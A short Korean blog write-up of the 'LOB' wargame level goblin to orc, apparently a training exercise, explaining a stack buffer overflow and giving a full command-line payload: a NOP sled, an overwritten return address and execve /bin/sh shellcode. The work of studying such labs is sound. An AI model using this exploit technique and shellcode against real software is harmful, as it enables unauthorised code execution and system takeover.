시스템 해킹/LOB
LOB - Level4 [goblin -> orc]
ii4gsp
2020. 1. 14. 11:49
memset() 함수로 환경변수 메모리를 초기화 시켜 쉘코드를 환경변수에 등록하여 문제를 푸는건 불가능하다.
argv 48번째 바이트가 \xbf가 아니라면 프로그램이 종료된다.
gdb로 분석해보면 스택의 구조는
i
_______
buffer
________
SFP
________
RET
ret의 주소를 구하기 위해 strcpy() 함수 호출 바로 다음부분인 <main+194>에 break point를 걸었다.
ret의 주소를 0xbffffab4로 잡고 페이로드를 작성하였다.
payload
./orc $(python -c 'print "\x90" * 44 + "\xb4\xfa\xff\xbf" + "\x90" * 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')